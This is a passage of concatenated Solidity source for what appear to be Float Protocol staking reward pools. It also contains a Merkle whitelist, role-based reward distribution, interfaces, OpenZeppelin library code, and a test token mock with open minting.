* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "synthetix/contracts/interfaces/IStakingRewards.sol";
import "./RewardDistributionRecipient.sol";
/**
* @title Phase 2 BANK Reward Pool for Float Protocol
* @notice This contract is used to reward `rewardToken` when `stakeToken` is staked.
*/
contract Phase2Pool is
IStakingRewards,
Context,
AccessControl,
RewardDistributionRecipient,
ReentrancyGuard
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== CONSTANTS ========== */
uint256 public constant DURATION = 7 days;
bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE");
/* ========== STATE VARIABLES ========== */
IERC20 public rewardToken;
IERC20 public stakeToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Phase2Pool
* @param _admin The default role controller for
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken
) RewardDistributionRecipient(_admin) {
rewardDistribution = _rewardDistribution;
rewardToken = IERC20(_rewardToken);
stakeToken = IERC20(_stakingToken);
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(RECOVER_ROLE, _admin);
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Recovered(address token, uint256 amount);
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== VIEWS ========== */
function totalSupply()
public
view
override(IStakingRewards)
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account)
public
view
override(IStakingRewards)
returns (uint256)
{
return _balances[account];
}
function lastTimeRewardApplicable()
public
view
override(IStakingRewards)
returns (uint256)
{
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken()
public
view
override(IStakingRewards)
returns (uint256)
{
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account)
public
view
override(IStakingRewards)
returns (uint256)
{
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration()
external
view
override(IStakingRewards)
returns (uint256)
{
return rewardRate.mul(DURATION);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount)
public
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "Phase2Pool::stake: Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
override(IStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "Phase2Pool::withdraw: Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external override(IStakingRewards) {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward()
public
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- Reward Distributor ----- */
/**
* @notice Should be called after the amount of reward tokens has
been sent to the contract.
Reward should be divisible by duration.
* @param reward number of tokens to be distributed over the duration.
*/
function notifyRewardAmount(uint256 reward)
external
override
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
// Ensure provided reward amount is not more than the balance in the contract.
// Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken
// Reward + leftover < 1e18
uint256 balance = rewardToken.balanceOf(address(this));
require(
rewardRate <= balance.div(DURATION),
"Phase2Pool::notifyRewardAmount: Insufficent balance for reward rate"
);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
/* ----- RECOVER_ROLE ----- */
/**
* @notice Provide accidental token retrieval.
* @dev Sourced from synthetix/contracts/StakingRewards.sol
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) external {
require(
hasRole(RECOVER_ROLE, _msgSender()),
"Phase2Pool::recoverERC20: You must possess the recover role to recover erc20"
);
require(
tokenAddress != address(stakeToken),
"Phase2Pool::recoverERC20: Cannot recover the staking token"
);
require(
tokenAddress != address(rewardToken),
"Phase2Pool::recoverERC20: Cannot recover the reward token"
);
IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
}
pragma solidity >=0.4.24;
// https://docs.synthetix.io/contracts/source/interfaces/istakingrewards
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
abstract contract RewardDistributionRecipient is Context, AccessControl {
bytes32 public constant DISTRIBUTION_ASSIGNER_ROLE = keccak256("DISTRIBUTION_ASSIGNER_ROLE");
address public rewardDistribution;
constructor(address assigner) {
_setupRole(DISTRIBUTION_ASSIGNER_ROLE, assigner);
}
modifier onlyRewardDistribution() {
require(
_msgSender() == rewardDistribution,
"RewardDisributionRecipient::onlyRewardDistribution: Caller is not RewardsDistribution contract"
);
_;
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- rewardDistribution ----- */
function notifyRewardAmount(uint256 reward) external virtual;
/* ----- DISTRIBUTION_ASSIGNER_ROLE ----- */
function setRewardDistribution(address _rewardDistribution)
external
{
require(
hasRole(DISTRIBUTION_ASSIGNER_ROLE, _msgSender()),
"RewardDistributionRecipient::setRewardDistribution: must have distribution assigner role"
);
rewardDistribution = _rewardDistribution;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./RewardDistributionRecipient.sol";
import "./interfaces/IStakingRewardWhitelisted.sol";
import "./Whitelisted.sol";
import "./Phase2Pool.sol";
contract Phase1Pool is Phase2Pool, Whitelisted, IStakingRewardWhitelisted {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
uint256 public maximumContribution;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Phase1Pool
* @param _admin The default role controller for
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _whitelist The address of the deployed whitelist contract
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
* @param _maximumContribution The maximum contribution for this token (in the unit of the respective contract)
*/
constructor(
address _admin,
address _rewardDistribution,
address _whitelist,
address _rewardToken,
address _stakingToken,
uint256 _maximumContribution
) Phase2Pool(_admin, _rewardDistribution, _rewardToken, _stakingToken) {
whitelist = IWhitelist(_whitelist);
maximumContribution = _maximumContribution;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256) public pure override(Phase2Pool, IStakingRewards) {
revert(
"Phase1Pool::stake: Cannot stake on Phase1Pool directly due to whitelist"
);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- onlyWhitelisted ----- */
function stakeWithProof(uint256 amount, bytes32[] calldata proof)
public
override(IStakingRewardWhitelisted)
onlyWhitelisted(proof)
updateReward(msg.sender)
{
require(
balanceOf(msg.sender).add(amount) <= maximumContribution,
"Phase1Pool::stake: Cannot exceed maximum contribution"
);
super.stake(amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "synthetix/contracts/interfaces/IStakingRewards.sol";
interface IStakingRewardWhitelisted is IStakingRewards {
function stakeWithProof(uint256 amount, bytes32[] calldata proof) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import '@openzeppelin/contracts/GSN/Context.sol';
import './interfaces/IWhitelist.sol';
abstract contract Whitelisted is Context {
IWhitelist public whitelist;
modifier onlyWhitelisted(bytes32[] calldata proof) {
require(
whitelist.whitelisted(_msgSender(), proof),
"Whitelisted::onlyWhitelisted: Caller is not whitelisted / proof invalid"
);
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.2;
interface IWhitelist {
// Views
function root() external view returns (bytes32);
function uri() external view returns (string memory);
function whitelisted(address account, bytes32[] memory proof) external view returns (bool);
// Mutative
function updateWhitelist(bytes32 _root, string memory _uri) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "./interfaces/IWhitelist.sol";
contract MerkleWhitelist is IWhitelist, Context, AccessControl {
/* ========== CONSTANTS ========== */
bytes32 public constant WHITELISTER_ROLE = keccak256("WHITELISTER_ROLE");
/* ========== STATE VARIABLES ========== */
bytes32 public merkleRoot;
string public sourceUri;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new MerkleWhitelist
* @param _admin The default role controller and whitelister for the contract.
* @param _root The default merkleRoot.
* @param _uri The link to the full whitelist.
*/
constructor(
address _admin,
bytes32 _root,
string memory _uri
) {
merkleRoot = _root;
sourceUri = _uri;
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(WHITELISTER_ROLE, _admin);
}
/* ========== EVENTS ========== */
event UpdatedWhitelist(bytes32 root, string uri);
/* ========== VIEWS ========== */
function root() external view override(IWhitelist) returns (bytes32) {
return merkleRoot;
}
function uri() external view override(IWhitelist) returns (string memory) {
return sourceUri;
}
function whitelisted(address account, bytes32[] memory proof)
public
view
override(IWhitelist)
returns (bool)
{
// Need to include bytes1(0x00) in order to prevent pre-image attack.
bytes32 leafHash = keccak256(abi.encodePacked(bytes1(0x00), account));
return checkProof(merkleRoot, proof, leafHash);
}
/* ========== PURE ========== */
function checkProof(
bytes32 _root,
bytes32[] memory _proof,
bytes32 _leaf
) internal pure returns (bool) {
bytes32 computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 proofElement = _proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(
abi.encodePacked(bytes1(0x01), computedHash, proofElement)
);
} else {
computedHash = keccak256(
abi.encodePacked(bytes1(0x01), proofElement, computedHash)
);
}
}
return computedHash == _root;
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- WHITELISTER_ROLE ----- */
function updateWhitelist(bytes32 root_, string memory uri_)
public
override(IWhitelist)
{
require(
hasRole(WHITELISTER_ROLE, _msgSender()),
"MerkleWhitelist::updateWhitelist: only whitelister may update the whitelist"
);
merkleRoot = root_;
sourceUri = uri_;
emit UpdatedWhitelist(merkleRoot, sourceUri);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Pausable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* This has an open mint functionality
*/
contract TokenMock is Context, AccessControl, ERC20Burnable, ERC20Pausable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(PAUSER_ROLE, _admin);
_setupDecimals(_decimals);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
*/
function mint(address to, uint256 amount) external virtual {
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() external virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "TokenMock/PauserRole");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() external virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "TokenMock/PauserRole");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../Recoverable.sol";
contract RecoverableHarness is Recoverable {
constructor(address governance) {
_setupRole(RECOVER_ROLE, governance);
}
receive() external payable {
// Blindly accept ETH.
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./RewardDistributionRecipient.sol";
import "./interfaces/IETHStakingRewards.sol";
/**
* @title Phase 2 BANK Reward Pool for Float Protocol, specifically for ETH.
* @notice This contract is used to reward `rewardToken` when ETH is staked.
*/
contract ETHPhase2Pool is
IETHStakingRewards,
Context,
AccessControl,
RewardDistributionRecipient,
ReentrancyGuard
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== CONSTANTS ========== */
uint256 public constant DURATION = 7 days;
bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE");
/* ========== STATE VARIABLES ========== */
IERC20 public rewardToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Phase2Pool for ETH
* @param _admin The default role controller for
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken
) RewardDistributionRecipient(_admin) {
rewardDistribution = _rewardDistribution;
rewardToken = IERC20(_rewardToken);
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(RECOVER_ROLE, _admin);
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Recovered(address token, uint256 amount);
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== VIEWS ========== */
function totalSupply()
public
view
override(IETHStakingRewards)
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account)
public
view
override(IETHStakingRewards)
returns (uint256)
{
return _balances[account];
}
function lastTimeRewardApplicable()
public
view
override(IETHStakingRewards)
returns (uint256)
{
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken()
public
view
override(IETHStakingRewards)
returns (uint256)
{
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account)
public
view
override(IETHStakingRewards)
returns (uint256)
{
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration()
external
view
override(IETHStakingRewards)
returns (uint256)
{
return rewardRate.mul(DURATION);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @dev Fallback, `msg.value` of ETH sent to this contract grants caller account a matching stake in contract.
* Emits {Staked} event to reflect this.
*/
receive() external payable {
stake(msg.value);
}
function stake(uint256 amount)
public
payable
virtual
override(IETHStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "ETHPhase2Pool/ZeroStake");
require(amount == msg.value, "ETHPhase2Pool/IncorrectEth");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
override(IETHStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "ETHPhase2Pool/ZeroWithdraw");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
emit Withdrawn(msg.sender, amount);
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "ETHPhase2Pool/EthTransferFail");
}
function exit() external override(IETHStakingRewards) {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward()
public
virtual
override(IETHStakingRewards)
updateReward(msg.sender)
{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- Reward Distributor ----- */
/**
* @notice Should be called after the amount of reward tokens has
been sent to the contract.
Reward should be divisible by duration.
* @param reward number of tokens to be distributed over the duration.
*/
function notifyRewardAmount(uint256 reward)
external
override
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
// Ensure provided reward amount is not more than the balance in the contract.
// Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken
// Reward + leftover < 1e18
uint256 balance = rewardToken.balanceOf(address(this));
require(
rewardRate <= balance.div(DURATION),
"ETHPhase2Pool/LowRewardBalance"
);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
/* ----- RECOVER_ROLE ----- */
/**
* @notice Provide accidental token retrieval.
* @dev Sourced from synthetix/contracts/StakingRewards.sol
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) external {
require(
hasRole(RECOVER_ROLE, _msgSender()),
"ETHPhase2Pool/HasRecoverRole"
);
require(tokenAddress != address(rewardToken), "ETHPhase2Pool/NotReward");
IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IETHStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external payable;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "synthetix/contracts/interfaces/IStakingRewards.sol";
import "./RewardDistributionRecipient.sol";
/**
* @title Base Reward Pool for Float Protocol
* @notice This contract is used to reward `rewardToken` when `stakeToken` is staked.
* @dev The Pools are based on the original Synthetix rewards contract (https://etherscan.io/address/0xDCB6A51eA3CA5d3Fd898Fd6564757c7aAeC3ca92#code) developed by @k06a which is battled tested and widely used.
* Alterations:
* - duration set on constructor (immutable)
* - Internal properties rather than private
* - Add virtual marker to functions
* - Change stake / withdraw to external and provide internal equivalents
* - Change require messages to match convention
* - Add hooks for _beforeWithdraw and _beforeStake
* - Emit events before external calls in line with best practices.
*/
abstract contract BasePool is
IStakingRewards,
AccessControl,
RewardDistributionRecipient
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== CONSTANTS ========== */
bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE");
uint256 public immutable duration;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardToken;
IERC20 public stakeToken;
uint256 public periodFinish;
uint256 public rewardRate;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new BasePool
* @param _admin The default role controller
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken,
uint256 _duration
) RewardDistributionRecipient(_admin) {
rewardDistribution = _rewardDistribution;
rewardToken = IERC20(_rewardToken);
stakeToken = IERC20(_stakingToken);
duration = _duration;
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(RECOVER_ROLE, _admin);
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event Recovered(address token, uint256 amount);
/* ========== MODIFIERS ========== */
modifier updateReward(address account) virtual {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== VIEWS ========== */
/**
* @notice The total reward producing staked supply (total quantity to distribute)
*/
function totalSupply()
public
view
virtual
override(IStakingRewards)
returns (uint256)
{
return _totalSupply;
}
/**
* @notice The total reward producing balance of the account.
*/
function balanceOf(address account)
public
view
virtual
override(IStakingRewards)
returns (uint256)
{
return _balances[account];
}
function lastTimeRewardApplicable()
public
view
virtual
override(IStakingRewards)
returns (uint256)
{
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken()
public
view
virtual
override(IStakingRewards)
returns (uint256)
{
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account)
public
view
virtual
override(IStakingRewards)
returns (uint256)
{
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration()
external
view
override(IStakingRewards)
returns (uint256)
{
return rewardRate.mul(duration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount)
external
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "BasePool/NonZeroStake");
_stake(msg.sender, msg.sender, amount);
}
function withdraw(uint256 amount)
external
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
require(amount > 0, "BasePool/NonZeroWithdraw");
_withdraw(msg.sender, amount);
}
/**
* @notice Exit the pool, taking any rewards due and staked
*/
function exit()
external
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
_withdraw(msg.sender, _balances[msg.sender]);
getReward();
}
/**
* @notice Retrieve any rewards due
*/
function getReward()
public
virtual
override(IStakingRewards)
updateReward(msg.sender)
{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
emit RewardPaid(msg.sender, reward);
rewardToken.safeTransfer(msg.sender, reward);
}
}
/**
* @dev Stakes `amount` tokens from `staker` to `recipient`, increasing the total supply.
*
* Emits a {Staked} event.
*
* Requirements:
* - `recipient` cannot be zero address.
* - `staker` must have at least `amount` tokens
* - `staker` must approve this contract for at least `amount`
*/
function _stake(
address staker,
address recipient,
uint256 amount
) internal virtual {
require(recipient != address(0), "BasePool/ZeroAddressS");
_beforeStake(staker, recipient, amount);
_totalSupply = _totalSupply.add(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Staked(recipient, amount);
stakeToken.safeTransferFrom(staker, address(this), amount);
}
/**
* @dev Withdraws `amount` tokens from `account`, reducing the total supply.
*
* Emits a {Withdrawn} event.
*
* Requirements:
* - `account` cannot be zero address.
* - `account` must have at least `amount` staked.
*/
function _withdraw(address account, uint256 amount) internal virtual {
require(account != address(0), "BasePool/ZeroAddressW");
_beforeWithdraw(account, amount);
_balances[account] = _balances[account].sub(
amount,
"BasePool/WithdrawExceedsBalance"
);
_totalSupply = _totalSupply.sub(amount);
emit Withdrawn(account, amount);
stakeToken.safeTransfer(account, amount);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- Reward Distributor ----- */
/**
* @notice Should be called after the amount of reward tokens has
been sent to the contract.
Reward should be divisible by duration.
* @param reward number of tokens to be distributed over the duration.
*/
function notifyRewardAmount(uint256 reward)
public
virtual
override
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(duration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(duration);
}
// Ensure provided reward amount is not more than the balance in the contract.
// Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken
// Reward + leftover < 1e18
uint256 balance = rewardToken.balanceOf(address(this));
require(rewardRate <= balance.div(duration), "BasePool/InsufficentBalance");
